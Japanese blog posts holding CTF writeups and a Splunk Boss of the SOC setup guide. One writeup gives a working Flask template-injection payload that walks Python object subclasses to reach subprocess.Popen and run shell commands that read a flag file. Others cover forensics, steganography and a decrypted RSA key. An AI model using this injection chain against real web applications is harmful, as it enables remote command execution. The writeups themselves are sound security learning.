$ cat \[root\]/.flag/beelzebub.key -----BEGIN RSA PRIVATE KEY----- MIICXQIBAAKBgQDY0YYMzR/sHGdsRjA7vdH+7NT042GUblG282bRZf0Yu+Sss6QU jVw2laKt7nYz/FGr86K/YGc5Wk2fePujXtl6FnOADsmaAAUODlYyHOfiNjOitY3D vooHIROiIGiv4lk/3EuJsmNkC7KYFFvEXQc0G4OWMgw9rIdoh7cScgUh9wIDAQAB AoGBAMuf80IgfyNzBZqFTJU+z3KYH+QhjCondWzZqS1tmEZbaAbd63I11G2bGJ46 /x4RkO5psOYE9szBR3dG2yVyVdD9sAcrNCVxgx1ya7lvHkAI9mKreRmZTsUc3MKl O3+mkK8CLJuaVDKzz3t0Fv0lbT9szqvq7i6N19vEvc0ilxgZAkEA69qNMn0zktGQ BmbR61hUaOSQEjZTuMcpG1AqhPymgk2siCZQDrytRoG6TvqYPW9q1Ez4oUYgzOjv ehaFR+ChQwJBAOtWuZ+lehSjpt5qlTEgFqmXYR/YvLBfp27yw7fLy+AswpQrwZPY xVYIfKDjaDCrWAVCVVZE2CIDFE8CP9vEpz0CQQCguMpHgbJHdq9i7WZXrlW3NSpI fuUGohGNH1AaV+FQIoZUMWeU41ZhGb5QW8yq8OYnzlwP6q4ndQTcecRReu3pAkAC 7iGBi13pw9/gBRO2eN/PXMMo0loHGCnNh9hIAZGYSPZjQeg3HwvV9mUW274AXSHL bvgBCvpl8gPet/hzlA9BAkBmo2ywHcJICVjjK3io78T5QUbIYe2I8YwvAERaALuD DQzHowZGb0uLoIeuJDqp7gx0NN4ZOp2CHdLLnLqhIIoR -----END RSA PRIVATE KEY-----
次に, その他のファイルがなんのファイルかを一気に見てみると, data
が多いことがわかります.
DIY-Thermocam
みたいな変なファイルがあるのは, ヘッダが偶然一致したからだろうと考えて一旦無視します.
$ file \[root\]/* \[root\]/*/* [root]/1: empty [root]/10: empty [root]/2: empty [root]/3: empty [root]/4: empty [root]/5: empty [root]/6: empty [root]/7: empty [root]/8: empty [root]/9: empty [root]/flag: directory [root]/flag.txt: data [root]/flag3.txt: data [root]/flag_no.txt: DIY-Thermocam raw data (Lepton 3.x), scale 26362-15752, spot sensor temperature 0.000000, color scheme 184, minimum point enabled, maximum point enabled, calibration: offset 330911508135053796531536641654784.000000, slope 37801753964579846679128103190528.000000 [root]/test.txt: data [root]/flag/mullin.encrypted: data
さて, ここでRSAの秘密鍵と, 謎のdataファイルが揃ったところで, これらのファイルは秘密鍵によって暗号化されているのではないかとあたりをつけます. ということで, opensslコマンドのrsautlを使ってフラグファイルをdecryptすると, フラグが得られます.
$ cat \[root\]/flag/mullin.encrypted | openssl rsautl -decrypt -inkey \[root\]/.flag/beelzebub.key CTFKIT{Pandemonium_Mont_Blanc}
FLAG: CTFKIT{Pandemonium_Mont_Blanc}
16 メモリダンプ (Forensics 250)
問題文として, 怪しいプロセスが使う怪しいファイルが怪しいぞ的なsomethingと, memory.zip
が与えられます.
とりあえず, 解凍して, 出てきたファイルがなんのファイルかを見ると, どうやらWindowsのcrash dumpだそうです.
$ file memory.zip memory.zip: Zip archive data, at least v2.0 to extract $ unzip memory.zip Archive: memory.zip inflating: memory_win7.dmp $ ls memory.zip memory_win7.dmp $ file memory_win7.dmp memory_win7.dmp: MS Windows 64bit crash dump, full dump, 65422 pages
まあとりあえず, メモリダンプといえばvolatilityでしょ!ということで, 問題文にあったプロセスを調査します.
$ export VOLATILITY_LOCATION=file://$HOME/memory_win7.dmp $ export VOLATILITY_PROFILE=Win7SP0x64 $ vol.py pstree Volatility Foundation Volatility Framework 2.6 Name Pid PPid Thds Hnds Time -------------------------------------------------- ------ ------ ------ ------ ---- 0xfffffa8000b0d870:csrss.exe 324 308 9 350 2018-12-19 05:08:58 UTC+0000 ... . 0xfffffa80017f9750:svch0st.exe 784 1832 5 155 2018-12-19 05:09:49 UTC+0000 ... . 0xfffffa8000b7c7b0:smss.exe 248 4 2 29 2018-12-19 05:08:58 UTC+0000
プロセス名を一つずつ見ていくと, 明らかに不審なsvch0st.exe
(Pid: 784)が見つかります.
ということで, こいつをdumpします.
$ vol.py procdump -p 784 --dump-dir ./ Volatility Foundation Volatility Framework 2.6 Process(V) ImageBase Name Result ------------------ ------------------ -------------------- ------ 0xfffffa80017f9750 0x0000000000270000 svch0st.exe OK: executable.784.exe $ file executable.784.exe executable.784.exe: PE32+ executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
executableファイルが出てくるので, とりあえずstringsで表層解析すると, Base64っぽいものが見えます.
$ strings executable.784.exe !This program cannot be run in DOS mode. .text `.rsrc ... PADPADP - Q1RGS0lUe29pcmFfaGFfZmxhZ19qeWFuZWVlZX0= RSDS ... </security> </trustInfo> </assembly>
ということで, base64でデコードするとフラグが得られます.
$ echo "Q1RGS0lUe29pcmFfaGFfZmxhZ19qeWFuZWVlZX0=" | base64 -D CTFKIT{oira_ha_flag_jyaneeee}
FLAG: CTFKIT{oira_ha_flag_jyaneeee}
18 you are not admin (Web 250)
この問題は, ふぁーすとぶらっどだ!やった!と喜んでいたら最後まで誰にも解かれなかった問題(ちょっとうれしい)です. しかし残念ながら, ほとんどスクリーンショットなどを撮っていないので, 思い出したり, 手元に擬似環境を用意して書いていきます.
まず, 普通に与えられたURLにアクセスすると, You are not admin!
的なことが言われます.
cookieにセットされた値を見てみると, 以下のような値が設定されていることがわかります.
session: eyJpc19hZG1pbiI6ZmFsc2V9.XbPVjQ.VKjnCZbHyPhPEXANh0AnBGk_gQM
脳死で, cookie session ctf
とかでggると, 下記サイトが一番上にヒットします.
ぱーっと見ていくと, 下記のようなこの問題とガッツリまんまの文言が見つかります.
問題ページにアクセスして、ブラウザの開発者ツールや EditThisCookie などで Cookie の値を確認すると、 session という Cookie の中に以下のような値が入っていると思います。
eyJ1c2VybmFtZSI6Imd1ZXN0In0.W_vMzg.g41aywjgtacuHnXixdM3UaG9wN4
サイトの文言に従って, セッションをドット区切りにした0番目の文字列をbase64でデコードしてみると, 次のような文字列が得られます.
$ echo eyJpc19hZG1pbiI6ZmFsc2V9 | base64 -D {"is_admin":false}
この文字列から, このセッションを改ざんして, is_admin
のfalse
をtrue
に改ざんして, adminになりすましてアクセスすればフラグを得られそうです.
ということで, このサイトを見ていくと, どうやらこの問題ではFlaskというフレームワークが使われている可能性が高く, このセッションを改ざんするためにはセッションのSECRET_KEYが必要であることがわかりました.
そして, SECRET_KEYはサーバーサイドテンプレートインジェクション(SSTI)という脆弱性を利用して, config
変数を参照できれば, 奪取することができることがわかりました.
ひとまず, SSTIを探してみm((すぐに見つかりました.
以下は, 疑似環境で当時の様子を再現しています.
ここでは, 404 not found ページにて, ユーザーによって入力されたURLが検証なしに画面に出力されているようです.
そこで, 以下のように, {{g}}
といった値を入力してみると, ビンゴ!ということで, Flaskの特殊なグローバルオブジェクトであるg
変数の展開ができました.
しかし, どうやらconfig
やself
といった単語がブロックされているのか, 一部の変数の展開ができませんでした.
ここで, 方針を変えて, SSTIを介してOSコマンドインジェクションをしてシェルを取ることを目指しました.
具体的には, SSTIからのOSコマンドインジェクションの定石として知られている, Pythonのオブジェクトをたどって, OSコマンドを発行できるオブジェクトを探す方針にします.
以下に思い出せる限りの試行と, 結果を箇条書きで示していきます.
{{url_for.__globals__}}
- 出力結果なし
{{''.__class__}}
- ヒット:
http://localhost:5000/<class 'str'>
- ヒット:
{{''.__class__.__mro__}}
- ヒット:
http://localhost:5000/(<class 'str'>, <class 'object'>)
- ヒット:
{{''.__class__.__mro__[1]}}
- エラー
{{''.__class__.__mro__.pop(1)}}
- エラー`
{{''.__class__.__base__}}
- ヒット:
http://localhost:5000/<class 'object'>
- ヒット:
{{''.__class__.__base__.__subclasses__()}}
- ヒット:
http://localhost:5000/[<class 'type'>, ...(中略)..., <class 'subprocess.Popen'>, ...(後略)..., <class 'ctypes.LibraryLoader'>]
- ヒット:
ここまでの試行を簡単に説明すると, まずはなんとかPythonの全てのクラスの基底オブジェクトである, <class 'object'>
を探しています.
途中, __mro__
というものが出てきていますが, 基底クラスを探索するときに利用される属性で, これによって<class 'str'>
の基底クラスがタプルとして返されます.
しかし, なぜか__mro__[1]
という形でindexを指定してアクセスすることができず, タプルなため, pop(1)
も使えませんでした.
しばらく調べ直していると, __base__
という属性を見つけて, 無事に基底オブジェクトである<class 'object'>
を参照することに成功しました.
次に, 基底クラスのサブクラスからOSコマンドを呼び出せるオブジェクトを探します.
これは, .__subclasses__()
メソッドによって簡単に探し出すことができました.
今回は<class 'subprocess.Popen'>
とかいうめちゃくちゃ便利なオブジェクトを見つけることができたので, 次の入力値で任意のコマンドを実行します.
whoami
部分の値を変えることで, 任意のコマンドを実行できます.
''.__class__.__base__.__subclasses__().pop(280)(["whoami"],shell=True,stdout=-1).communicate()
任意のコマンドが実行でき, シェルが取れたので, リバースシェルでもしようかと思ったのですが, めんどくさかったので, findコマンドでapp.py
を探した結果, /var/www/you_are_not_admin
というディレクトリに存在することが確認できました.
その中をlsコマンドで確認したところ, flag_1145141919810.txt
というファイルを見つけました(ファイル名についてはあえて言及しません).
ということで, フラグを以下の入力値でcatしてフラグを得ます.
''.__class__.__base__.__subclasses__().pop(280)(["cat /var/www/you_are_not_admin/flag_1145141919810.txt"], shell=True, stdout=-1).communicate()
FLAG: CTFKIT{th1s_!s_1nsecure_s3rv3r}
おわりに
高専セキュリティコンテストは2016年にB部門()で優勝してから, 3年ぶりの優勝となりました. 以前に比べたら, 自分が貢献できる量も増えたかなと思うので, 今後も精進していきたいです.
Boss of the SOC のはじめかた (Splunk)
はじめに
研究でSplunkを使ってログ解析をする機会があったので, たまたま見つけたBoss of the SOC
というSplunkが無料で提供しているコンテンツをやろうと思いました.
しかし, 日本語で検索するもほぼドキュメントがなく渋々本家のドキュメントを見て何度も詰まりながらなんとかセルフ開催CTFするところまでできたので, まとめておきます.
今回はmacOSへのインストールを行いましたが, 他の環境でもSplunkのインストール以外ではほぼ差異はないと思います(思います).
僕も英語が得意なわけではないので, 間違ったことを書いていたら, コメントなどでご教示いただければと思います.
目次
- Boss of the SOC とは
- Splunk Enterpriseのインストール
- 依存App/Add-Onのインストール
- データセットのダウンロードとインポート
- CTFデータへのアクセスのための登録
- CTFプラットフォームAppのインストール
- Let's play CTF!
- おわりに
Boss of the SOC とは
BOSS OF THE SOC (BOTS) 1.0によると, ジョパディ形式のSplunkを使って行うCTFで, リアルだけど実在しない企業に起きたインシデントに対する問題に答えるものらしいです. また, もともとはカンファレンスで行われていたこのCTFをオープンソースにして, データセットにも無料でアクセスできるし, 自前でCTFプラットフォームもデプロイできるようにしたものらしいです.
CTFプラットフォームは結構簡単にデプロイできたし, 問題やヒントの追加もcsvに書き足すだけなので, 勉強会でも簡単に使えそうなどと考えながらセットアップをしていました. ただし, 今回の記事では, 一人でセルフ開催CTFするところまでしか書かないので, 実際に勉強会などをやろうとしたらユーザーの権限まわりの設定や, コンテストの開催時間の設定などを追加で行う必要があります.
また, BOTSは1.0(2016)と2.0(2017)が現在利用できるようですが, 今回は1.0のほうを使っていきます.
Splunk Enterpriseのインストール
これについては, いくらでも記事があるためそちらを参照いただければと思います. 今回, 僕が使ったのはSplunk Enterpriseで, 下記からダウンロードできるかと思います.
以下, めちゃくちゃ適当に見つけたインストールの記事を記載しておきます.
- Win: Splunkを使ってみる①インストール
- Mac: Splunkをインストールしてみる
- RedHat: Splunk4.3インストール&クィックリファレンスガイド(pdf)
- CentOS: plunkのインストールが超簡単な件(CentOS編)
- Ubuntu: Ubuntuにsplunkをインストールする
依存App/Add-Onのインストール
データセットをインポートする前に, 依存App/Add-Onのインストールを行います. (今回はtgzファイルをいちいちダウンロードしていちいちアップロードしてインストールしましたがもっと良い方法があれば教えて下さい..)
以下, App/Add-Onのインストール手順です.
1. Splunkのホーム画面左のAppバーの右にある歯車ボタンをクリックする.
2. Appの管理画面に遷移するので,画面右上にあるファイルからAppをインストール
をクリックする.
3. 下記表のURLにアクセスし, 画面右のDownload
をクリックする.
4. 2つのチェックボックスにチェックを入れ, Agree to Download
をクリックしてAppファイルをダウンロードする.
5. ダウンロードしたtgzファイルを選択しアップロード
をクリックする.
6. 再起動が必要です
的なことが言われたらすぐに再起動をする
- ここで再起動をせずに他のAppのインストールを続けると, Splunkがクラッシュする可能性があります.
- クラッシュしてしまうと, 500エラーでログインすらできなくなってしまいます.
- ぼくがクラッシュさせてしまったときには,
rm -rf /Applications/Splunk
で一度Splunk自体を削除してもう一度インストールしました.
クラッシュさせるとめんどくさいので, 気をつけてインストールを行ってください. (間違ってもぼくのように, めんどくさいからまとめてやればええやろ!!などといって再起動を怠らないこと.)
ソースの表では, Splunk Stream Add-on
に併せて, Splunk App for Stream
がありますが, 同じApp(同じURL)なので, ここでは略記させていただいています.
実際にインストールするときも, 1回だけインストールすれば大丈夫です.
App / Add-on | Version | Download |
---|---|---|
Fortinet Fortigate Add-on for Splunk | 1.3 | https://splunkbase.splunk.com/app/2846 |
Splunk Add-on for Tenable | 5.0.0 | https://splunkbase.splunk.com/app/1710/ |
Splunk Stream Add-on / Splunk App for Stream(Note Stream 6.6.1 is no longer available. Use Version 7.1.1 instead.) | 6.6.1 | https://splunkbase.splunk.com/app/1809/ |
Splunk Add-on for Microsoft Windows | 4.8.3 | https://splunkbase.splunk.com/app/742/ |
TA-Suricata | 2.3 | https://splunkbase.splunk.com/app/2760/ |
Microsoft Sysmon Add-on | 3.2.3 | https://splunkbase.splunk.com/app/1914/ |
URL Toolbox | 1.6 | https://splunkbase.splunk.com/app/2734/ |
データセットのダウンロードとインポート
データセットのダウンロードとインポートには若干時間がかかってしまうため, 最初の方にしておきます.
BOTS1.0のデータセットにはbotsv1_data_set.tgz (6.1GB compressed)
と, botsv1-attack-only.tgz(135MB compressed)
の2つがあります.
後者(以降,フルデータとよぶ)は攻撃のログだけを含むデータセットで, 135MBと非常に小さくなっています.
前者(以降,攻撃データとよぶ)は攻撃以外のログも含むデータセットで, 圧縮した状態でも6.1GBと非常に大きいデータセットになっています.
しかし, 無料枠では1日に500MBまでのデータしかインポートできません. 今回は, 無料枠ということもあり, 攻撃データの小さい方を使って進めていきます. (ちなみに, 公式によれば月に3回までは制限を超えても大丈夫らしいです.)
攻撃データのダウンロードとインポート手順は以下の通りです.
1. botsv1-attack-only.tgz(135MB compressed)からデータをダウンロードする.
2. Splunkのホーム画面左のAppバーの右にある歯車ボタンをクリックする.
3. Appの管理画面に遷移するので,画面右上にあるファイルからAppをインストール
をクリックする.
4. Appのアップロード画面に遷移するので,画面中央にあるファイルを選択
でダウンロードしたbotsv1-attack-only.tgz
をアップロードする.
5. Appの管理画面に遷移して, 画面上部に「Splunk Boss of the SOC (BOTS) Version 1 Data Set」は正常にインストールされました
と表示されていれば, アップロードが正常に完了.
アップロードが正常に完了したら, 下記の手順でデータを確かめる.
1. Appの管理画面左上の, splunk>enterprise
ロゴの右隣にあるApp
プルダウンをクリックして, Search&Reporting
をクリックする.
2. Search&Reporting Appの新規サーチ画面に遷移するので, 次のようなコマンドを打ち込む.
index=botsv1 earliest=0
3. コマンドを打ち込んだフォームの右にある過去24時間
と書いてあるプルダウンをクリックして,全時間
をクリックする.
4. 検索ボタン(虫眼鏡アイコン)をクリックし, 次のような画面が表示されることを確かめる.
CTFデータへのアクセスのための登録
BOTSのデータは基本的に無料でアクセスができます. ただし, データセット本体についてはgithubで簡単にアクセスできるのに対して, CTFの問題と回答,ヒントなどのデータについては別途登録を行う必要があります. そのため, ここでは登録方法について説明します.
登録なんてこんなん見なくてもできるだろ!なんて声が聞こえてきそうですが詰まったポイント(笑)があったので書き残しておきます.
手順は下記の通りです.
1. BOSS OF THE SOC (BOTS) 1.0にアクセスする.
2. 下記画像の右側のフォームを埋める.
3. State: * Zip Code: *
のフォームにマウスをフォーカスして右クリックし,「検証」をクリックしてHTMLのソースコードを表示する.
4. <select name="stateOrProvince" class="form-control" style="display: none;">
を探す(PostalCodeのフォームの上あたりにあります).
5. display:none;
を2回クリックして消す.
6. Countryのフォームの下にStateフォームが現れるので,Non-US/Canada
を選択する.
7. その他の入力が済んでいたら, Submitを押して登録を完了する.
登録が完了したらメールでteamsplunk@splunk.com
からCTFの問題と回答,ヒントなどを含むGoogle Driveのリンクが送られてきます.
これらのファイルは後で使うので, 必ず送られてきていることを確認してください.
ちなみに, Stateフォームに値を入力せずに登録しようとすると次のような画面(笑)になってしまいます. ぼくはこれで小一時間悩んだ結果このやり方にたどり着きました...ショッパナからBOTSをはじめるハードルが高い... もしかしたらちゃんとした登録方法があるのかも..?
CTFプラットフォームAppのインストール
いよいよCTFをセルフ開催していきます. SA-ctf_scoreboardのREADMEを見てみると, 次のような機能が使えて, BOTSでなくても簡単にSplunkを利用したCTFが開催できそうです.
- User/Team management
- Scoring management
- Question/Answer management
- Hint management
- Comprehensive scoreboards, dashboards, and analytics
基本的にはREADMEに則ってSA-ctf_scoreboardをインストールしていきます. ただしここでも少し詰まるポイントがあるので, しっかり説明をしていきます.
インストールの手順は以下の通りです.
1. 環境変数$SPLUNK_HOME
を以下の手順で設定する(macOS).
~/.bash_profile
などに次を追加する.
export SPLUNK_HOME="/Applications/Splunk"
2. 下記の4つのAppを依存App/Add-Onのインストールと同様にしてインストールする.
- Lookup File Editor app (Note: Tested with version 3.0.3)
- Parallel Coordinates Custom Visualization (Note: Tested with version 1.2.0)
- Simple Timeseries Custom Visualization (Note: Tested with version 1.0)
- Timeline Custom Visualization (Note: Tested with version 1.2.0)
3. 次のコマンドで, CTF Scoreboard appをインストールする.
cd $SPLUNK_HOME/etc/apps git clone https://github.com/splunk/SA-ctf_scoreboard
4. 次のコマンドで, CTF Scoreboard Admin appをインストールする.
cd $SPLUNK_HOME/etc/apps git clone https://github.com/splunk/SA-ctf_scoreboard_admin
5. 次のコマンドで, Splunkを再起動する.
$SPLUNK_HOME/bin/splunk restart
6. 次のコマンドでスコアボードのログのためのディレクトリを作成する.
mkdir $SPLUNK_HOME/var/log/scoreboard
7. Splunkのホーム画面にアクセスすると, AppバーにCapture the Flag
と, Capture the Flag Admin
が追加されていることを確認する.
8. 次の手順でメインユーザをctfのadminとして設定する.
- Splunkのホーム画面右上の
設定
プルダウンをクリックし,アクセス制御
をクリックする. - アクセス制御画面に遷移するので,
ユーザー
をクリックする. - 普段ログインするユーザーの
アクション
カラムにある編集
をクリックする. ロールに割り当て
の利用可能アイテム
から次の3つをクリックして選択済みアイテム
に追加する.- can_delete
- ctf_admin
- ctf_answer_service
- ここで,
ctf_competitor
を選択してしまうと, 後々CTFの問題に回答できなくなってしまうため注意が必要.
9. 次の手順でカスタムコントローラーを作成し, 設定を書き込む.
- 下記のコマンドでexampleからカスタムコントローラーをコピーする.
cd $SPLUNK_HOME/etc/apps/SA-ctf_scoreboard/appserver/controllers cp scoreboard_controller.config.example scoreboard_controller.config
- カスタムコントローラーに適当な値を設定する(設定時[]は必要なし)
[ScoreboardController] USER = [先程設定したユーザー名] PASS = [先程設定したユーザーのログインパスワード] VKEY = [10-20文字のランダムな文字列(なんでもいい)]
10. 次のコマンドで, Splunkを再起動する.
$SPLUNK_HOME/bin/splunk restart
11. BOTS1.0の問題/解答/ヒントを以下の手順で読み込む.
ここで, 本家インストール手順の13番目(Load sample data)をしてしまうと, サンプルデータとBOTS1.0の問題番号がコリジョンしてしまい, 正しいFlagがCorrectしなくなってしまうので注意が必要.
- CTFデータへのアクセスのための登録で登録したメールアドレスに送られてきたメールに記載されているGoogle Driveのリンク(
BOTS v1: Access here
)からBOTS1.0のCTFデータをダウンロードする. - ダウンロードした
botsv1content.zip
を展開するとctf_{questions,answers,hints}.csv
の3つが得られる. - Splunkのホーム画面左のAppバーにある
Capture the Flag Admin
をクリックする. - Capture the Flag Admin Appの管理画面に遷移するので, 画面上部のバー左側にある
Edit...
プルダウンをクリックし,Edit Questions
をクリックする. - Lookup Editor Appの
Lookups / ctf_questions
画面に遷移するので, 画面右上のImport
ボタンをクリックする. - Import Fileダイアログが表示されるので,
Select file to import
ボタンをクリックして, 先程展開したctf_questions.csv
を選択してインポートする. - 同様の手順で, Capture the Flag Admin Appの
Edit
プルダウンの,Edit Answers
およびEdit Hints
からctf_answers.csv
とctf_hints.csv
をそれぞれインポートする.
12. Agreementのサンプルデータを下記の手順でロードする
- Splunkのホーム画面左のAppバーにある
Capture the Flag Admin
をクリックする. - Capture the Flag Admin Appの管理画面に遷移するので, 画面上部のバー左側にある
Data Management...
プルダウンのLoad SAMPLE Data (DANGER)...
をクリックし,Load sample User Agreement
をクリックする. (DANGERとあるのは, CTF競技中にこれをやると, データが上書きされてしまうためであり, 最初にやる事自体はなんらDANGERではないとのこと)
Let's play CTF!
以上で, CTFプラットフォームおよびデータセットの準備が完了したので, 実際に1問だけ動作を確認してみます. 以下の手順で, 実際にCTFをプレイしていきます.
1. Splunkのホーム画面左のAppバーにあるCapture the Flag
をクリックする.
2. Capture the Flag AppのWelcome
画面に遷移するので, 画面左中央にあるUser AgreementのView/Accept
ボタンをクリックする.
3. 先程ロードしたSampleのUser Agreementが表示されるので, ダイアログ右下のAccept Agreement
をクリックする.
4. WelcomeページのYour Event Details
直下にある表のUser Agreement
欄がAccepted
になったことを確認する.
5. Capture the Flag Appの上部バーのQuestions
をクリックする.
6. Number 1の問題をクリックする.
7. This is a simple question to get you familiar with submitting answers. What is the name of the company that makes the software that you are using for this competition? Just a six-letter word with no punctuation.
とのことなので, Answer
フォームにsplunk
と入力する.
8. 下記画面が表示されれば, CTFは正常にプレイできる.
おわりに
今回は, SplunkとIncident Response的なsomethingを同時に学べる一石二鳥なBoss of the SOC
というオープンソースCTFのはじめかたを解説しました.
このように, 1から順序立ててはじめかたを説明されたドキュメントは日本語はおろか, 英語の公式ドキュメントでも情報がバラバラと散らばっており, かなりとっつきにくい状況でした. 実際, 公式ドキュメントを読み進めていく中でも何度もつまづくポイントがあり, せっかくかなり良いコンテンツなのに, 環境構築でつまづいて実際に遊べないというのはもったいないなと思い, 今回記事におこすにいたりました.
ぼくはSplunkの第一人者でもなければ, 一般ユーザーにも及ばない初心者ですが, この記事をみて, BOTSのデータセットおよびCTFに触れたことがない人の, このコンテンツをはじめるきっかけ, あるいははじめる手助けになればと思います.
なにか間違いや, 他に詰まったポイントがあれば気軽にコメントやTwitter等でお知らせいただけると幸いです.
Saudi and Oman National Cyber Security CTF 2019に参加したおはなし
はじめに
久々にオンラインCTFに参加したので備忘録として解けた問題のみ, writeupをのこします. その他のwriteupは以下にまとまっていると思うので,気になる方はそちらもご覧ください.
目次
- はじめに
- 目次
- Back to basics (easy,50,Web Security)
- Hack a nice day (medium,100,Digital Forensics)
- I love images (easy,50,Digital Forensics)
- I love this guy (medium,100,Malware Reverse Engineering)
- Just Another Conference (easy,50,General Information)
- Maria (hard,200,Web Security)
- おわりに
Back to basics (easy,50,Web Security)
Points
not pretty much many options. No need to open a link from a browser, there is always a different way
Link
解法
普通にブラウザでアクセスすると,https://www.google.com/
にリダイレクトされてしまう.
問題文どおりcURLでアクセスしてみると,
$ curl http://35.197.254.240/backtobasics/ <script> document.location = "http://www.google.com"; </script>
案の定,document.location
でGoogleにリダイレクトしていることがわかる.
下記コマンドでヘッダを確認すると,
$ curl --head http://35.197.254.240/backtobasics/ HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Fri, 08 Feb 2019 17:30:27 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive Allow: GET, POST, HEAD,OPTIONS
Allow:
にGET以外のメソッドがあることを発見.
そこで,POSTメソッドでアクセスしてみると,
$ curl -X POST http://35.197.254.240/backtobasics/ <!-- var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];function reverse(_0xa6e5x2){flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])}console[_0x7f88[4]]= reverse;console[_0x7f88[4]](_0x7f88[5]) -->
という,ちょっと難読化されたJavaScriptが返ってくる. 少し見やすく,変数名も整えてみると,
var items=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"]; function reverse(rev_arg){ flag= rev_arg[items[3]](items[0])[items[2]]()[items[1]](items[0]) } console[items[4]]= reverse; console[items[4]](items[5])
となる. これを適当なブラウザの開発者ツール(F12かCommand+option+i)でコンソールを開いてコピペすると,flagが得られる.
ちなみに,処理内容としては,単純にitemsの5番目の文字列を逆順に変換しているだけなので,Pythonで
>>> "ceab068d9522dc567177de8009f323b2"[::-1] '2b323f9008ed771765cd2259d860baec'
とするだけでもflagが得られる.
Flag
2b323f9008ed771765cd2259d860baec
Hack a nice day (medium,100,Digital Forensics)
Points
can you get the flag out to hack a nice day. Note: Flag format flag{XXXXXXX}
Link
https://s3-eu-west-1.amazonaws.com/hubchallenges/Forensics/info.jpg
解法
このようなJPGファイルが与えられる. 下記のようにfileコマンドで確認しても,ただのJPG.
$ file info.jpg info.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "badisbad", baseline, precision 8, 194x259, frames 3
つぎにexiftoolで見てみると,なにやらComment
が付与されている.
$ exiftool info.jpg ExifTool Version Number : 10.32 File Name : info.jpg Directory : . File Size : 5.5 kB File Modification Date/Time : 2019:02:08 15:58:56+09:00 File Access Date/Time : 2019:02:09 18:20:15+09:00 File Inode Change Date/Time : 2019:02:08 15:58:56+09:00 File Permissions : rw-r--r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : None X Resolution : 1 Y Resolution : 1 Comment : badisbad Image Width : 194 Image Height : 259 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 194x259 Megapixels : 0.050
これがflagか?と思ったが,違った.
ここからLSBビットやら赤色ビット抽出やら,いろいろ試すもののうまくいかず.
最終的にjpgだしなんか変なコメントあるし,steghide使えばなんかわかるのでは?ということで,調査.
はい出ました.
passphraseにbadisbad
を入力するとflaggg.txt
が埋め込まれていることが確認できた.
$ steghide info info.jpg "info.jpg": format: jpeg capacity: 300.0 Byte Try to get information about embedded data ? (y/n) y Enter passphrase: embedded file "flaggg.txt": size: 21.0 Byte encrypted: rijndael-128, cbc compressed: yes
というわけで,こいつを下記のように抽出する.
$ steghide --extract -sf info.jpg -p badisbad -xf flaggg.txt wrote extracted data to "flaggg.txt".
$ cat flaggg.txt flag{Stegn0_1s_n!ce}
steghideは経験則ゲーすぎる...?(問題的にどうsteghideに持って行こうとしていたんだろう...)
Flag
flag{Stegn0_1s_n!ce}
I love images (easy,50,Digital Forensics)
Points
A hacker left us something that allows us to track him in this image, can you find it?
Link
https://s3-eu-west-1.amazonaws.com/hubchallenges/Forensics/godot.png
解法
このようなPNGファイルが与えられる. 下記のようにfileコマンドで確認しても,ただのPNG.
$ file godot.png godot.png: PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
つぎにexiftoolで見てみると,下から3行目でWarning
が出ている.
$ exiftool godot.png ExifTool Version Number : 10.32 File Name : godot.png Directory : . File Size : 3.5 kB File Modification Date/Time : 2019:02:08 16:11:18+09:00 File Access Date/Time : 2019:02:09 03:00:56+09:00 File Inode Change Date/Time : 2019:02:08 16:11:23+09:00 File Permissions : rw-r--r-- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 64 Image Height : 64 Bit Depth : 8 Color Type : RGB with Alpha Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Warning : [minor] Trailer data after PNG IEND chunk Image Size : 64x64 Megapixels : 0.004
PNGのIENDチャンク以降になんかデータがくっついてるよ,とのこと. stringsコマンドで確認してみると,確かになんかくっついてる.
$ strings godot.png ... pDuF( op+P q}'ZA0 O-T& IEND IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======
なんか=いっぱいついてるし,Base64の亜種かな?ということで,CyberChefを使って,Base32でデコードしたらflagが得られた.
Flag
FLAG{Not_Only_Base64}
I love this guy (medium,100,Malware Reverse Engineering)
Points
Can you find the password to obtain the flag?
Link
https://s3-eu-west-1.amazonaws.com/hubchallenges/Reverse/ScrambledEgg.exe
解法
ScrambledEgg.exeという実行ファイルが渡される.
$ file ScrambledEgg.exe ScrambledEgg.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Mono/.Net assembly
ということなので,ILSpyを使ってデコンパイルしてみる.
すると,下記のようなプロラグムをみることができる.
流れは全部読んでいないけど,なんかLetters[なんちゃら]
をたくさん繰り返しているところが怪しいので,そこをコピペして,次のようなPythonスクリプトを動かしてみる.
if __name__ == '__main__': Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_" flag = "".join([ Letters[5], Letters[11], Letters[0], Letters[6], Letters[26], Letters[8], Letters[28], Letters[11], Letters[14], Letters[21], Letters[4], Letters[28], Letters[5], Letters[14], Letters[13], Letters[25], Letters[24], Letters[27] ]) print(flag)
$ python solve.py FLAG{I_LOVE_FONZY}
Flag
FLAG{I_LOVE_FONZY}
Just Another Conference (easy,50,General Information)
Points
famous Cybersecurity conference runs by OWASP in different locations
解法
OWASPによっていろんなところで開かれる有名なサイバーセキュリティのカンファレンスということで,OWASP conference
でググると一発で出てくる.
Flag
AppSec
Maria (hard,200,Web Security)
Points
Maria is the only person who can view the flag
Link
解法
Maria
というユーザだけflagを閲覧できるらしい.
とりあえず,アクセスしてみるとこんな画面が表示される.
レスポンスを見てみると,13行目にSQLっぽいもの(SELECT * FROM nxf8_sessions where ip_address = 'XXX.XXX.XXX.XXX'
)を発見(XXX.XXX.XXX.XXXには筆者宅のIPアドレスが記載されている).
